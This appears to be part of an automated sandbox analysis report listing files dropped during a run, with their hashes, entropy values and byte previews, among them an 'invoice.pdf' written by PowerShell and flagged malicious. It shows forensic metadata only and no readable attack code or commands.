SHA1:	DA5CACEBB09917029D45559536213AC7F0FDD4D8
SHA-256:	D2261038C94C9AD75DABFA6051777BCF5A5FAFD1DCB8FFB1C89F95A434CDF599
SHA-512:	2EECEEBD4C494BF7BE54B3E7A459A645796C517309EF4E8FC481BA2E01FC3D1DF82C8ED10C3DE1641EE7AB6C7DD1649EB62C1782BFBC957C9F04060D74AFD3E5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b92213dc-2c75-4f50-9cfe-c11f16da13f7","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736714914877,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1408427985958225
Encrypted:	false
SSDEEP:	24:YLex0GabNqy6ay30XZPQ/Ra4fJuZH7De6NTYv0aB0hnORjPjdnj0SFfE0HACIC2W:YLezytJEZyH/hYx6vCcReaQ6EFy9h96
MD5:	526F68F632F87CEF946D3CBD4338C994
SHA1:	96AF796C7A71578F20CEF78980A018DCCF16874A
SHA-256:	B7516168C5FC4BB9B5A6D6AA59106B3EB395124BA0822CCE98A248F7E1E4F46D
SHA-512:	ED287A56F456865BEE4246B7D8A5A4B8B4E118DE86CEF3DAF2AAB5AE503E181881D389F59C43F97924ABCC42C17959CA794A18F712C615227758FFE7E6C5BFA4
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"68223ec318936b7da968dd58a6a42b1f","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736539699000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"2d8190286019015b78176ef7c52f074a","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736539699000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"cb3ba13a8dc51c6283e4f393cebd11bb","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736539699000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"930caa32362e568ffaf0eca5370072d3","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736539699000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"d66fb9254ef1cbe480a09eb48d4fb072","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736539699000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"1e32bf5db806176ac4c0fa6116115e67","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3181884016500605
Encrypted:	false
SSDEEP:	48:TGufl2GL7ms9WR1CPmPbPahibpypilIAbZ:lNVms9WfMwbPahKl
MD5:	C36EB0C5F1160DC0074D8A525B009F48
SHA1:	CAA203CB3E7274F9297E7F23B835A2C378BF6851
SHA-256:	BEDE2A6041BF7AB71BCAC4537E2FAFF6F4E78B2408E876F1EBFEEFC77B826133
SHA-512:	F6F76C6291A407A5D21B98A8538386DD2C21FDF2CCEF5D5C9E35DB76260816A7B1892E6852D415D504AE8FA509E6BB6BA508A62BE2CE989C338FCF1A3DD34D22
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7811915026392378
Encrypted:	false
SSDEEP:	48:7M5UqWR1CPmPbPahibcypilIXqFl2GL7msI:7fqWfMwbPah7mKVmsI
MD5:	3E9BC9FD4A8F0231B9F8779E1D74E36D
SHA1:	110BE43F72DB293E845AEA167FE24D9488A8007A
SHA-256:	FF5210BF3A24AD601BC8DF674F5CF722A7E1EC39022122DC6284A06105E77626
SHA-512:	A1B7B4C7CC10AFEF35BEF6B7A845F2EED4103AF7AA8C48195EE0F6A0488AAAC91DEA1EE1A12C9966190623B8DE8CD47AB6E52F51766955908FD4CBB9E0D516DC
Malicious:	false
Preview:	.... .c........J..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgV8NrnAI6lWp0A369Gz4Xls+Yyu:6a6TZ44ADEynAI6gpTP4C+K
MD5:	50171804C72903E91D70D2E18E05AA81
SHA1:	EFB1963D3D65EA67C1FEF554D19427A4E2A9E0A4
SHA-256:	55DDA0916A134F714DD4337E63B8C14DECF07C784055E0E9578B122B14EA2D2F
SHA-512:	8CB5B0604E9E849E87F0494FD42EB916F149161ED0647A80C9D18F2315F1253985216E2CD46480FF929B6751774E9425B7586C6C83CF7C09209AFBD2A7D939B0
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\Temp\MSIa0bc2.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4953527754662135
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEw8NlH:Qw946cPbiOxDlbYnuRK+bDL9
MD5:	6C3CDFD617C6830C9C365159FF2F736C
SHA1:	D13D82F708AA83DFE0295FD1BD7498B08462AB88
SHA-256:	2251CC6A6577D466239A94235C0E71F88410067B40C5BB6AD4A085BEAE9BEAF1
SHA-512:	6AA80D5E15DA96C155B8670B553588BCC2877F9C2475A790194336A7AECBF89683C7395CF3C4CBD5425FAAA26C440938A48846F1EA5B757E82558973DF601842
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.5.:.0.8.:.2.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jqjrx4nq.ozv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ltodu34b.bio.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 15-08-15-042.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.333718764533198
Encrypted:	false
SSDEEP:	384:uKCATIutLVGTx2MFI7tpZtabPyc7HtOGbXg5ntFsk2XhjgxatHi8xmHm7qoKJ0LL:h6n
MD5:	0BBE62E0E075B60538A121E6C53A0D99
SHA1:	45C324B45BD78DCE6679011642A72D36796774B5
SHA-256:	AAA9803668BEBB2FC4E3A814E1FF3AB596C2CF491419D31C68F88C2B5B5B2647
SHA-512:	D646C03240AD924FB1365004CE3F3EAA43D72D88AFDB44B8ECE4BE2761CB898837D346761007D24AF0B46AB06AEE0C9CA1F1913B68E8EF5CCA467230D6034EB3
Malicious:	false
Preview:	SessionID=c81169e5-8215-4daf-9852-b735717a8b5e.1736539695055 Timestamp=2025-01-10T15:08:15:055-0500 ThreadID=7724 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=c81169e5-8215-4daf-9852-b735717a8b5e.1736539695055 Timestamp=2025-01-10T15:08:15:057-0500 ThreadID=7724 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=c81169e5-8215-4daf-9852-b735717a8b5e.1736539695055 Timestamp=2025-01-10T15:08:15:057-0500 ThreadID=7724 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=c81169e5-8215-4daf-9852-b735717a8b5e.1736539695055 Timestamp=2025-01-10T15:08:15:057-0500 ThreadID=7724 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=c81169e5-8215-4daf-9852-b735717a8b5e.1736539695055 Timestamp=2025-01-10T15:08:15:057-0500 ThreadID=7724 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.403894997247323
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbt4cb2IlFcbh:ceo4+rsCn9l6
MD5:	05DFBEE11FD95E3714ADDC371F94E6F5
SHA1:	2EF715862961EFFB0ADD3EF6AD531E6C1EFB22A7
SHA-256:	12BBABFEED83CDD11650D0E4D6A8DCF0A9932A05E9B7F38D114088C04DA93E7F
SHA-512:	228D1D90496975D4358E5EFBE7138AE5A928DCB9E81F42322E37421D845835E06FD3CF7916D385A55BCEB1A39A6151421AEA345E6054BC2D7467E5836948B02D
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\33304e54-2d66-4b76-921d-866a539f8206.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\6948ddf4-1d4a-40b5-9537-ac18f491f2a9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\7c380d94-afa6-4e47-9592-3cb623ff1c3e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a49f0c51-14c7-4d6f-9f70-3b29535f2b1e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17389), with CRLF line terminators
Entropy (8bit):	4.929921556344062
